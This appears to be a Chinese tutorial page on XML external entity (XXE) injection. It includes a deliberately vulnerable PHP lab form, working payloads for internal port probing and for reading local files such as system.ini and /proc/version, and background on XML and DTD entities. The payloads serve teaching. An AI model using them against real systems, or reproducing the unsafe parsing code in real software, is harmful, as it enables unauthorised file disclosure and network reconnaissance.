XXE:XML外部实体引入
XXE漏洞
如果服务器没有对客户端的xml数据进行限制,且版本较低的情况下,就可能会产生xxe漏洞
漏洞利用流程
1.客户端发送xml文件,其中dtd存在恶意的外部实体引用
2.服务器进行解析
3.服务器返回实体引用内容
危害:任意文件读取,系统命令执行
实例
靶场代码[可替换为pikachu靶场]
<head><meta charset=utf-8><title>xxe测试</title>
</head>
<body><form action='' method='post'>xml数据:<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form>
</body><?phpdate_default_timezone_set("PRC");if(!empty($_POST['sub'])){ $data= $_POST['data'];$xml = simplexml_load_string($data);print($xml); }
?>
页面效果

1.使用xxe获取服务器端口信息
paylod
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">]><BookInfo>
&xxe;
</BookInfo>
运行逻辑
- 当XML文档被一个存在xxe漏洞的XML解析器处理时,解析器会首先解析DTD部分,包括其中的外部实体定义。
- 然后,解析器会尝试解析
xxe实体,根据定义,会向http://127.0.0.1:3306发起请求,尝试获取数据。 - 如果端口开启,会正常响应,如果关闭页面加载异常
2.任意文件读取
paylod
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY xxe SYSTEM "file:///c://windows//system.ini">]><BookInfo>
&xxe;
</BookInfo>
在一些XML解析器中,使用两个斜杠可以确保路径被正确解析,尤其是在跨平台环境中。例如,Windows系统通常使用反斜杠(\)作为路径分隔符,而UNIX/Linux系统使用正斜杠(/)。通过使用两个斜杠,确保路径在不同的操作系统中都能被正确解析。
windows路径:file:///c://windows//system.ini

linux路径:file:///proc/version

XML基础
XML翻译为可扩展的标记语言,与html相比,XML可自定义文档标签,扩展性较强
用途:存储配置文件,数据交换
XML格式要求
基础XML内容
<?xml version="1.0" encoding="UTF-8"?>
<BookInfo><Book><Title>书名</Title><Author>张三</Author><Publisher>出版社</Publisher><PublicationYear>2024</PublicationYear><ISBN>6226097558881666</ISBN><Genre>类型</Genre><Price>1000</Price><Description>书籍简介</Description></Book><Seller><Id>6222083803003983</Id><Name>李四</Name></Seller>
</BookInfo>
文档构成
文档第一行为xml声明文件描述xml版本及编码信息
<?xml version="1.0" encoding="UTF-8"?>
文档根元素为 <BookInfo> 闭合标签为 </BookInfo>
文档根元素下具有 <Book> 和 <Seller> 子元素
其子元素下,有若干个子元素进行信息的包含。如书籍的,作者[张三],年份,类型。购买者的信息如 序列号和姓名
这些元素构建成了·xml文档对信息进行描述和传递
XML文档规范
当xml文件内容过多时,为防止内容混乱
引入了DTD(文档类型描述)用于声明文档结构
DTD定义了文档结构及元素的规则
DTD构成
DTD主要由一系列关键字构成,这些关键字定义了XML文档的结构和规则
<!DOCTYPE BookInfo [
<!ELEMENT BookInfo (Book, Seller)> <!-- 定义根元素BookInfo,包含Book和Seller两个元素 -->
<!ELEMENT Book (Title, Author, Publisher, PublicationYear, ISBN, Genre, Price, Description)> <!-- 定义Book元素及其子元素 -->
<!ELEMENT Seller (Id, Name)> <!-- 定义Seller元素及其子元素 -->
]>
1. 文件类型声明 : !DOCTYPE
关键字DOCTYPE 表明此文件根元素为BookInfo
2. [...] : 方括号内的部分是DTD的内部子集。包含了元素和属性的定义。
3. 元素定义:<!ELEMENT BookInfo (Book, Seller)>
关键字ELEMENT 定义元素下有哪些子元素
DTD实体的定义
实体 相当于提前定义的全局变量的值,可在文档中进行引用
实体的定义
关键字:ENTITY
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
内部实体的引用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
<BookInfo>
<name>&name;</name>
</BookInfo>
页面效果

外部实体文件及引用
外部实体文件
<!ENTITY name "xiaoming">
文件引用
DTD关键字SYSTEM引用本地dtd文件,并使用file进行文件的读取
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY name SYSTEM "file:///D:/test/test.dtd" >]><BookInfo>
<name>&name;</name>
</BookInfo>
完整的xml文档内容
<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?><!-- 第二部分:文档类型定义 DTD -->
<!DOCTYPE note[
<!-- 外部实体声明 -->
<!ENTITY entity-name SYSTEM "URI/URL"><!-- 第三部分:文档元素 -->
<note><to>Dave</to><from>GiGi</from><head>Reminder</head><body>fish together</body>
</note>
相关文章:
XXE:XML外部实体引入
XXE漏洞 如果服务器没有对客户端的xml数据进行限制,且版本较低的情况下,就可能会产生xxe漏洞 漏洞利用流程 1.客户端发送xml文件,其中dtd存在恶意的外部实体引用 2.服务器进行解析 3.服务器返回实体引用内容 危害:任意文件读…...
3D培训大师创新培训体验,加速空调关键组件的高效精准安装
如今,空调系统的复杂性和精密性与日俱增,对专业技术人员的要求也日益提高。尤其是决定空调是否能平稳运行的空调关键组件的装配培训,不再局限于传统的理论讲解和实体模型演示,而是更注重数字化、沉浸式学习。 案例背景 某空调公…...
PyTorch 深度学习实践-循环神经网络(高级篇)
视频指路 参考博客笔记 参考笔记二 文章目录 上课笔记总代码练习 上课笔记 个人能力有限,重看几遍吧,第一遍基本看不懂 名字的每个字母都是一个特征x1,x2,x3…,一个名字是一个序列 rnn用GRU 用ASCII表作为词典,长度为128&#x…...
这才是老板喜欢的电子信息类简历
点击可直接使用...
MySQL学习之事务,锁机制
事务 什么是事务? 事务就是逻辑上的一组操作,要么全做,要么全不做 事务经典例子:转账,转账需要两个操作,从一个人账户上减钱,在另一个账户上加钱,比如说小红给小明转账100元&…...
开源知识付费小程序源码 内容付费系统php源码 含完整图文部署教程
在当今数字化时代,知识付费作为一种新型的经济模式,正逐渐受到越来越多内容创作者、专家及商家的青睐。开源知识付费小程序源码和内容付费系统PHP源码作为实现这一模式的重要工具,为构建高效、安全、可扩展的知识付费平台提供了强大的技术支持…...
时序数据库如何选型?详细指标总结!
工业物联网场景,如何判断什么才是好的时序数据库? 工业物联网将机器设备、控制系统与信息系统、业务过程连接起来,利用海量数据进行分析决策,是智能制造的基础设施,并影响整个工业价值链。工业物联网机器设备感知形成了…...
【前端】JavaScript入门及实战51-55
文章目录 51 函数52 函数的参数53 返回值54 练习55 return 51 函数 <!DOCTYPE html> <html> <head> <title></title> <meta charset "utf-8"> <script type"text/javascript">/* 函数:1. 函数也是…...
【引领未来智造新纪元:量化机器人的革命性应用】
在日新月异的科技浪潮中,量化机器人正以其超凡的智慧与精准的操作,悄然改变着各行各业的生产面貌,成为推动产业升级、提升竞争力的关键力量。今天,让我们一同探索量化机器人在不同领域的广泛应用价值,见证它如何以科技…...
山东航空小程序查询
山东航空小程序 1) 请求地址 https://scxcx.sda.cn/mohe/proxy?url/trp/ticket/search 2) 调用方式:HTTP post 3) 接口描述: 接口描述详情 4) 请求参数: {"dep": "TAO","arr": "HRB","flightDate&qu…...
MySQL添加索引时会锁表吗?
目录 简介Online DDL概念Online DDL用法总结 简介 在MySQL5.5以及之前的版本,通常更改数据表结构操作(DDL)会阻塞对表数据的增删改操作(DML)。 MySQL5.6提供Online DDL之后可支持DDL与DML操作同时执行,降低…...
算法日记day 16(二叉树的广度优先遍历|反转、对称二叉树)
一、二叉树的层序遍历 题目: 给你二叉树的根节点 root ,返回其节点值的 层序遍历 。 (即逐层地,从左到右访问所有节点)。 示例 1: 输入:root [3,9,20,null,null,15,7] 输出:[[3]…...
PolarisMesh源码系列--Polaris-Go注册发现流程
导语 北极星是腾讯开源的一款服务治理平台,用来解决分布式和微服务架构中的服务管理、流量管理、配置管理、故障容错和可观测性问题。在分布式和微服务架构的治理领域,目前国内比较流行的还包括 Spring Cloud,Apache Dubbo 等。在 Kubernete…...
vue3 vxe-grid修改currentPage,查询数据的时候,从第一页开始查询
1、当我们设置好VxeGrid.Options进行数据查询的时候,下面是可能的设置: const gridOptions reactive<BasicTableProps>({id: UserTable,showHeaderOverflow: false,showOverflow: true,keepSource: true,columns: userColumns,size: small,pagerConfig: {cur…...
电商数据集成之电商商品信息采集系统架构设计||电商API接口
一、引言 本架构设计文档旨在阐述基于 Selenium 的电商商品信息采集系统的整体架构,包括系统视图、逻辑视图、物理视图、开发视图和进程视图,并提供一个简单的采集电商商品信息的 demo。该系统通过模拟浏览器行为,实现对电商商品信息的自…...
Spring Cloud Stream 实现统一消息通信平台
1. 概述 Spring Cloud Stream:是Spring提供的消息通信框架,旨在构建跨不同消息中间件的统一通信平台。目的:通过消息通信机制降低分布式系统中服务间的耦合度,实现异步服务交互。 2. 消息通信与RPC RPC:远程过程调用…...
uniapp安卓plus原生选择系统文件
uniapp安卓plus原生选择系统文件 效果: 组件代码: <template xlang"wxml" minapp"mpvue"><view></view> </template> <script>export default {name: file-manager,props: {},data() {return {is…...
Go语言 Import导入
本文主要介绍Go语言import导入使用时注意事项和功能实现示例。 目录 Import 创建功能文件夹 加法 减法 主函数 优化导入的包名 .引入方法 总结 Import 创建功能文件夹 做一个计算器来演示,首先创建test文件夹。 加法 在test文件夹中创建add文件夹ÿ…...
一款异次元小清新风格的响应式wordpress个人博客主题
一款异次元小清新风格的响应式个人博客主题。这是一款专注于用户阅读体验的响应式 WordPress 主题,整体布局简洁大方,针对资源加载进行了优化。 Kratos主题基于Bootstrap和Font Awesome的WordPress一个干净,简单且响应迅速的博客主题&#x…...
【cocos creator】ts中export的模块管理
在 TypeScript(TS)中,export 和 import 的概念与 Java 中的 public 类、接口以及 import 语句有一些相似之处。可以用以下方式来类比理解: Export 在 TypeScript 中,export 用于将模块中的变量、函数、类等暴露给外部…...
Android Wi-Fi 连接失败日志分析
1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分: 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析: CTR…...
深入剖析AI大模型:大模型时代的 Prompt 工程全解析
今天聊的内容,我认为是AI开发里面非常重要的内容。它在AI开发里无处不在,当你对 AI 助手说 "用李白的风格写一首关于人工智能的诗",或者让翻译模型 "将这段合同翻译成商务日语" 时,输入的这句话就是 Prompt。…...
突破不可导策略的训练难题:零阶优化与强化学习的深度嵌合
强化学习(Reinforcement Learning, RL)是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程,然后使用强化学习的Actor-Critic机制(中文译作“知行互动”机制),逐步迭代求解…...
PHP和Node.js哪个更爽?
先说结论,rust完胜。 php:laravel,swoole,webman,最开始在苏宁的时候写了几年php,当时觉得php真的是世界上最好的语言,因为当初活在舒适圈里,不愿意跳出来,就好比当初活在…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练
前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1):从基础到实战的深度解析-CSDN博客,但实际面试中,企业更关注候选人对复杂场景的应对能力(如多设备并发扫描、低功耗与高发现率的平衡)和前沿技术的…...
将对透视变换后的图像使用Otsu进行阈值化,来分离黑色和白色像素。这句话中的Otsu是什么意思?
Otsu 是一种自动阈值化方法,用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理,能够自动确定一个阈值,将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...
【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
镜像里切换为普通用户
如果你登录远程虚拟机默认就是 root 用户,但你不希望用 root 权限运行 ns-3(这是对的,ns3 工具会拒绝 root),你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案:创建非 roo…...
【python异步多线程】异步多线程爬虫代码示例
claude生成的python多线程、异步代码示例,模拟20个网页的爬取,每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程:允许程序同时执行多个任务,提高IO密集型任务(如网络请求)的效率…...
